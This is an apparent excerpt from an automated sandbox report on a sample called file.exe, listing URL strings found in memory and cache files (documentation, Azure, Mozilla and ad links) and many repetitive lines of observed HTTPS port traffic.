Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.1456300167.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: chromecache_113.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_105.6.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.1455998720.000000000569F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1455998720.000000000569F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_105.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.1456300167.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1404892228.00000000055B3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1407859755.000000000559B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1456300167.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_93.6.dr, chromecache_105.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.1455998720.000000000569F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000003.1455998720.000000000569F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000003.1455998720.000000000569F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000000.00000003.1455998720.000000000569F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1455998720.000000000569F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
